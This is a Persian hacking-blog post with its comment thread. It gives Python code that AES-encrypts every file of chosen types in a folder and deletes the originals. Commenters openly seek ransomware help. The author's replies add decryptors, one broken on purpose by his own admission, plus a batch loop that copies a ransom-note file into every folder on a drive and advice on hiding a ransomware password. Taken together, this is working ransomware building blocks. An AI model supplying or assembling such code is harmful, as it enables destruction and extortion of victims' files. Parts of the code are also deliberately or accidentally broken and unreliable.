رمزنگاری اطلاعات داخل یک فولدر :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۶ ارديبهشت ۰۳، ۱۶:۱۵ - hidden
    test

سلام من پست رمزگذاری با پایتون رو خوندم ولی میشه بگید چطور به برنامه بگیم تمام فایل های درون یه فولدر رو رمز گذاری کنه؟

توی این پست قراره نحوه ی کریپت کردن اطلاعات یک فولدر خاص
که مسیرشم قراره کاربر وارد کنه رو با پایتون بررسی کنیم ....

بنظرم اگه به برنامه بگیم همه ی فایلارو کریپت کنه
اونموقع ممکنه بعضی فایلها داخل یه فولدر باشه که باعث کندی یا حتی بسته شدن برنامه بشه
چون دیدم فایلایی که حتی تا 11 گیگ یا بالاتر بودن ( مثل فایل های بک آپ و غیره... )
برای اینکار هم باید سه تا تابع بنویسیم تا کارمون رو ساده کنه
اولی بیاد فایلای مد نظرمون رو لیست کنه
دومی بیاد فایلارو کریپت کنه
سومی هم بیاد و پسوردمون رو اینکد کنه
حالا بریم سراغ کد نویسی
اول باید کتابخونه های مورد نیاز رو ایمپورت کنیم

from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
import os

حالا باید تابع اول رو برای لیست کردن فایل های مشخص بنویسیم

def discoverFiles(startpath):
    extensions = [
        'mp3'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[-1]
            if ext in extensions:
                yield absolute_path

کد بالا به ما کمک میکنه تا فایلای با پسوند mp3 رو داخل یه فولدر لیست کنیم که البته میتونیم پسوند های دیگه رو هم بهش اضافه کنیم
حالا نوبت به این میرسه که یه تابع بنویسیم تا فایلهارو کریپت کنه

def encrypt(key, filename):
    chunksize = 64 * 1024
    outputFile = i + '.enc'
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV = Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

کد بالا هم دو تا ورودی اسم فایل و پسوورد رو میگیره و با پسوند مشخص شده ای ( enc ) اون فایل رو کریپت میکنه
برای تابع آخر هم باید کاری کنیم که تابع بیاد پسوورد رو بگیره و اون رو اینکد کنه

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

حالا باید دو تا ورودی بگیریم که اولی برای فولدریه که این دوستمون میخواست :)
و دومی هم برای پسوورد فایل ها

path = raw_input("Enter your path : ") ; path = str(path)
password = raw_input("Enter your key : ") ; password = str(password)

حالا نوبت به این میرسه که از تابع discoverFiles استفاده کنیم
و فایل هایی با پسوند های مشخص رو بریزیم داخل یه متغیر

x = discoverFiles(path)

در آخر هم باید دستور بدیم که با استفاده از یه حلقه
اسم فایل هارو استخراج کنه و از تابع getKey و encrypt استفاده کنه برای کریپت کردن اون فایلا

for i in x:
    encrypt(getKey(password),i)
    os.remove(i)

حالا فقط کافیه همه ی کدهای بالارو بچینیم در کنار هم تا چیزی میخوایم درست بشه
من فقط خواستم یه خرده با توضیحات باشه بخاطر همین اینجوری نوشتم
به هر حال اینا هم کدای کلی چیزی هست که تا الان نوشتیم :)

from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
import os

def discoverFiles(startpath):
    extensions = [
        'mp3'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[-1]
            if ext in extensions:
                yield absolute_path

def encrypt(key, filename):
    chunksize = 64 * 1024
    outputFile = i + '.enc'
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV = Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

path = raw_input("Enter your path : ") ; path = str(path)
password = raw_input("Enter your key : ") ; password = str(password)

x = discoverFiles(path)

for i in x:
    encrypt(getKey(password),i)
    os.remove(i)

موفق باشید

نظر (۳۰)

بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
*** *** ***** ***** **** *****

Virus32 MR_C0D3R ‌ :
تو گروه گفتم چرا
به زودی قراره از اینجا هم اخراج بشم
عالی بود.
تاریکی در راه است...
سلام داداش  سورس  DECRYPT  این پست رو هم میشه بزاری
Virus32 MR_C0D3R ‌ :
سلام
فقط یه خرده کار برعکس میشه
بفرما اینم کدهای رمزگشایی
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
import os

def discoverFiles(startpath):
    extensions = [
        'enc'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[:-4]
            if ext in extensions:
                yield absolute_path

def decrypt(key, filename):
    chunksize = 64 * 1024
    outputFile = filename[11:]

    with open(filename, 'rb') as infile:
        filesize = int(infile.read(16))
        IV = infile.read(16)

        decryptor = AES.new(key, AES.MODE_CBC, IV)

        with open(outputFile, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break

                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(filesize)

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

path = raw_input("Enter your path : ") ; path = str(path)
password = raw_input("Enter your key : ") ; password = str(password)

x = discoverFiles(path)

for i in x:
    decrypt(getKey(password),i)
    os.remove(i)
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
سلام داداش یه سوال هم داشتم شما بودین داخل تلگرام به آیدی زیر پیام داده بودین و  و این سورس رو برام اوکی کردین

*************
Virus32 MR_C0D3R ‌ :
سلام عزیز
من زیاد اهل تلگرام نیستم
شاید کسی که سوال کرده برات درست کرده باشه
نمیدونم...
شمارت پاک شده وقتی دیل زدی شمارتو بده باهات در ارتباط باشم
Virus32 MR_C0D3R ‌ :
شمارمو خاموش کردم
این یکی خطمو برداشتم که نمیتونم برای کسی بفرستمش...
منو میخوای چیکار دیگه ؟
به زودی قراره از اینترنت هم اخراج بشم :)
 دادا الان سیستم خودم فاک شده
 یکی برام درست کرده بود
 الان تو تل دلت زده من اشتباه تو سیستمم اجرا کردم
 فورمت این  باجو یکم تغییر داده  بود
 بفرستم برات ترو هر کی دوست داری می تونی اوکی کنی؟
 منظورم  سورس دکریپشو اوکی کنی
Virus32 MR_C0D3R ‌ :
خب گفتم دیگه چطور محتویات یک پوشه رو میشه دکریپت کرد...
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

داداش من سوزس این  انکریپ رو می فرستم
********************************************************
 ترو خدا  کمک کن اینو دکریپش اوکی بشه
 نصف فایلام قفل شده
تو تلگرام بتونی بیایی اینم آیدیم

*************
بد جور گیرم
فایل دکریپشو  سعی کردم بسازم اما هر چه زدم  فایلارو دکریپ نکرد
قربونت
Virus32 MR_C0D3R ‌ :
این کدت ، یه چیز تو مایه های باج افزاره
من فکر کردم نیتت یه چیز کاربردی هستش...
برای کسی از اینکارا نمیکنم....
دادا من باج افزار کاری ندارم که با ور نداری عکس میدم رو سیستم خودم این نصب شده می خوام فقط دکریپش اوکی بشه  همین
 درضمن قبلا هم گفتم این کدو  بهم  کسی داده
 من اومدم  رو سیستمم اجرا ککردم
 الان که بهش پیام  میخواستم بدم دیدم دلت اکانت کرده
 الان گناه من چیه
 اگه کار من کد نویسی بود که  نمیومد کمک به خدا
  فقط یه دکریپت  کد میخوام که این فایلا برام باز بشه   نصف دراوام یا شایدم  بیشتر قفل شدن
Virus32 MR_C0D3R ‌ :
دمت گرم برو تو سایتای دیگه کمک بگیر
ما اینجا به حد کافی دردسر داریم که نخوایم دنبال دردسر باشیم
یه سر که به سایت فتا و بزنی و قوانین جدیدشونو که بخونی متوجه میشی چی میگم
جواب نمیدی؟
Virus32 MR_C0D3R ‌ :
نه ، یا علی...
قوانین جدیدو میشه لینکشو بفرستی والله خبرن دارم
Virus32 MR_C0D3R ‌ :
ماده 753 جرایم رایانه ای
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
*** **** بیا ک ب باد رفتم ی نرم افزاری رو از ی سایت خارجی دان کردم روش کلیک ک کردم هیچی نیامد چند تا فایل دان کرد و نصب کرد بعد فهمیدم باج افزار تمام فایل هامو انکریپت کرده چیکار کنم/. ویروس کجایه بیا تل ....
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
*** * *** ******
Virus32 MR_C0D3R ‌ :
ماهان اینجا وب من نیست که هی کامنت میدی
صاحب اصلی ناراحته ....
شما دو تا با هم لجین 
بعدا اسم تو رو که میبینه منو مقصر میدونه
دیگه کامنت نده دمت گرم....
کامنتای پست " درباره من " رو هم بخون
خودتو به اون راه نزن
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
سلام کدر لامصب تو همونی بودی برنامه رو بباجو اوکی کردی برام
 چرا دلت  اکانت زدی  دادا بد جوری گیرم

*************
 پیج اینیستاتم امادس دادا مونده دستم لامصب چرا رفتی
Virus32 MR_C0D3R ‌ :
جان ؟! :|
 از سایت تازگیا کیو انداختین بیرون
  اون برام نوشته  ماهانرسیدم بهم گفت
 الان خیلی لنگم نصف فایلام  باج خورده سورس ان کریپ هست اما میزنم کار نمی کنه
Virus32 MR_C0D3R ‌ :
از سایت به تازگی کسی حذف نشده هیچ
یه 4 نفری هم اضافه شده
گفتم که ما برای کسی از اینکارا نمیکنیم
علتشم گفتم
بار بعدی کامنتت تایید نمیشه
با سلام و خسنه نباشید به تیم ViRus32
فایل های داخل سیستم من همشون به پسوند dotmap سیو شدن چطوری میتونم اطلاعاتمو برگردونم با سپاس
Virus32 MR_C0D3R ‌ :
سلام
به باج افزار آلوده شدی دیگه
باید تو نت بگردی ببینی دکریپتوری برای اون اومده یا نه....

سلام خوبی یه سوال و مشکلی که دارم منو میشناسی دیه !!! 
 

اون انکریپت  فایلایی که با فرمت حروف بزرگ هستند انکریپت نمیکنه مثلا PDF _PNG

Jpg __ZIP  اینجور فرمت ها را انکریپت نمیکنه 

من تو قسمت اونجایی که زدی پسوندها رو اینجا میتونی تغییر بدی گذاشتم با حروف بزرگ پایینش ولی موقع خروجی گرفتن خطا میده و نمیخونه همونایی که حروف بزرگ نوشتمو میاره نمیشه 

مشکل چیه چرا این فرمت ها رو انکریپ نمیکنه 

و همینطورم تلگرامتم دلیت میزنی!

سلام داداش همین اموزش رمزنگاری داخل یک فولدر رو ممکن هست برای سی پلاس پلاس بزاری اموزشش رو؟

یا لینکی چیزی برای اموزشش نداری برم رمزنگاری با سی پلاس پلاس رو یاد بگیرم خیلی دمت گرم منتظر جوابت هستم 

Virus32 MR_C0D3R ‌ :
سلام
توی گیت هاب پره از سورس کد آموزشی و آماده برای استفاده و یادگیری
فقط کافیه یه سرچ کوچیک بزنی و آخر متن سرچت هم یه Github اضافه کنی

سلام داداش کدرز
 میتونی کدی بگی که مثلا فایل mohammad.bat  که در صفحه دسکتاپ هست رو اول چک کنه که اگه وجود داشت رو کل درایوا و کل پوشه ها کپی کنه
 کد به زبان پایتون 2.7 باشه
 خیلی دنبالشم فدات

Virus32 MR_C0D3R ‌ :
سلام
چون میدونم میخوای چیکار کنی بخاطر همین کامل کمکت نمیکنم
فقط یه راهنمایی کوچیک میکنم که جوابتو داده باشم
اگه میخوای هی درخواست کد کنی و سوال بپرسی و بگی چیزی نمیدونی باید بگم یه خرده پایتون کار کن
و بعدا خودتم پیگیر کارات باش و اگه جایی گیر کردی سوال بپرس
کدی که میگم کل کاریه که میخوای انجام بدی و برای Batch فایل ها هستش
فقط باید یه خرده ویرایشش کنی و داخل پایتون دستور ساخته شدن و اجرا شدنش رو بدی
For /R C:\ %%i in (.) do Copy ReadMeToDecrypte.html %%i
ReadMeToDecrypte هم همون فایل Bat خودت هستش که دیگه چون میدونستم فایل Bat مد نظرت نیست یه خرده دقیق تر گفتم :(

داداش
 مشکل داخل عکسو چه طور میشه برطرف کرد
http://s6.picofile.com/file/8375620500/Screenshot_970_.png

Virus32 MR_C0D3R ‌ :
CD \Python27\Scripts
بعدا
Pip install pycryptodome

داداش کدرز باز هم همون مشکل
 کلا داخل cmd  هرچی میزنم اون میاد
 

Virus32 MR_C0D3R ‌ :
من کدرز نیستم :)
این خطا میگه برنامه ای که مشخص کردی برای اجرا پیدا نشده
اونم بخاطر اینه که مسیر Pip داخل فولدر Scripts هستش و با چیزی که گفتم حتما باید درست کار کنه
در غیر اینصورت مشکل یه جا دیگست

 ناموسا از کجا فهمیدی   کارمو ؟ خخ

Virus32 MR_C0D3R ‌ :
آی دی تو زیاد تو مجازی دیدم که پیگیر اینجور چیزا بودی

 خخخ اره
 باور داری  اولین کرک رو از  سایت شما یاد گرفتم
 اونم کرک سرور مجازی
 از اون موقع علاقم بیشتر شده  البته  یه 10 سالی میشه پیگیر پست های  سایتتون هستم

به صورت نسبتا حرفه ای باج افزاری داری که با پایتون باشه و پیچیده

Virus32 Virus 32 :
هیچ هکری در راه رضای خدا برنامه هاشو عمومی نمیکنه
یه سودی برای اون هست که برای شما قطعا زیان خواهد بود
بهتره دنبال لقمه ی آماده نباشیم!

سلام خوبی داداش کد زیر یه رمز رندم میسازه

shadi_ali = ''.join([random.choice
    (
        'abcdefghijklmnopqrstuvwxyz'
        +
        'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        +
        '1234567890'
    )
    for i in range(20)])

time.sleep(1)



 میخوام این رمز رندم برام با هش رمز نگاری شده sha256 تحویل بده
پایتون2.7.15
 کدی بلدی ممنون میشم کمک کنی

Virus32 MR_C0D3R ‌ :
سلام
ممد تو هنوز درگیر اینی واقعا ؟ D:
اگه بخوای رشته طولانی رو رمزنگاری کنی دیگه نمیتونی برگردونی
البته میتونی برگردونی
ولی چون داری یه رمز تصادفی میسازی
برای همین کلمه ی خامش تو دیتابیس سایتایی که میتونن متن Hash شده رو رمزگشایی کنن وجود نداره و وقتی بخوای اطلاعات طرف رو رمزگشایی کنی دیگه نمیشه
چون رمزت که هش شده هستش به فنا رفته و تو دیگه نمیتونی رمزگشاییش کنی
راه حلی که من پیشنهاد میکنم اینه که به جاش Base64 استفاده کنی
درسته که رمزگشایی میشه ، اما خب چاره نیست و تو که دنبال رمزنگاری رمز باج افزارتی
باید دنبال یه راه حلی هم برای رمزگشاییش باشی
ولی خب کدی که دنبالشی این شکلی میشه
import random
import hashlib

def encrypt_string(hash_string):
    sha_signature = \
        hashlib.sha256(hash_string.encode()).hexdigest()
    return sha_signature

rnd_pass = ''.join([random.choice
    (
        'abcdefghijklmnopqrstuvwxyz'
        +
        'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        +
        '1234567890'
    )
    for i in range(20)])


hash_string = rnd_pass
sha_signature = encrypt_string(hash_string)

print('\nRandom Password = '+rnd_pass)
print('\nSHA-256 : '+sha_signature)

داداش بما ی پروژه گفتن که با پایتون اینترنت اشیا نمیدونم چیکار کنیم

خلاصش اینه ی کدی باشه ک با دستور صوتی بگی مثلن چراغارو خاموش کن اونم بزنه خاموش کنه. استاد گفت رو برد نمیدونم چی چی باید نوشت. داریم پایتون میخونیم. دوازده نمرس. استاد کمک نمیکنه میگ برید بگردید یاد بگیریم چ غلطی بکنم؟ یماه وقت دارم. جوابمو بده ترو خدا 

Virus32 Attrib32 32 32 :
سلام عزیز من برد و الکترونیک بلد نیستم ولی میدونم با برد آردوینو هم میتونی درستش کنی تو اون پایتون خیلی راحته

سلام
ببخشید اگه تو کارتون فضولی میکنم فقط برا کمک به ایشون میگم
https://computers.tutsplus.com/articles/how-to-control-a-lamp-with-voice-commands-and-a-raspberry-pi--mac-60825
این article خیلی عالیه و درباره همین موضوعه همچنین برای کار با دستورات صوتی میشه از Google Assistance استفاده کرد که خیلی عالیه
این پروژه ها روی برد ESP8266 هم رو اینترنت موجود هست این نمونه ولی با پایتون نیست:
https://www.learnrobotics.org/blog/home-automation-using-google-assistant-esp8266/
باز هم معضرت اگه به جای اساتید حرف میزنم

Virus32 Virus 32 :
سلام عزیز
تو خودت استادی داش
بازم ممنون ♥
بهم ایمیل بده

سلام کد دکریپت (رمزگشایی) کار نمی کنه دلیلش چی میتونه باشه؟

پس از اجرا اعمال دستورات پسوند همچنان .enc می مونه؟

 

Virus32 MR_C0D3R ‌ :
سلام
اگه از داخل کامنت ها کد دکریپت رو برداشتی
به جاش باید از کد پایین استفاده کنی
من خودم اونجوری گذاشته بودم ببینم کسی اصلا کدارو چک میکنه یا نه
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
import os

def discoverFiles(startpath):
extensions = [
'enc'
]

for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split('.')[-1]
if ext in extensions:
yield absolute_path

def decrypt(key, filename):
chunksize = 64 * 1024
outputFile = filename[:-4]

with open(filename, 'rb') as infile:
filesize = int(infile.read(16))
IV = infile.read(16)

decryptor = AES.new(key, AES.MODE_CBC, IV)

with open(outputFile, 'wb') as outfile:
while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break

outfile.write(decryptor.decrypt(chunk))
outfile.truncate(filesize)

def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()

path = input("Enter your path : ") ; path = str(path)
password = input("Enter your key : ") ; password = str(password)

x = discoverFiles(path)

for i in x:
decrypt(getKey(password),i)
os.remove(i)

نامردددددددد!!!!!!!!

چرا اونطور گذاشته بودی؟

پدرم در اومد آخرشم نتونستمدرستش کنم اونو کلا گذاشتمش کنار! گفتم بیام اینجا بگم ازم خیلی چیزی نمیمونه :)

عشقی ولی :)

Virus32 32 Attacker ‌ :
عه تو هنوز زنده ای :/

له کوری چشم دشمنان اسلام از پس همه بر اومدم!

دوتا خط فقط بر داشتم:)

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی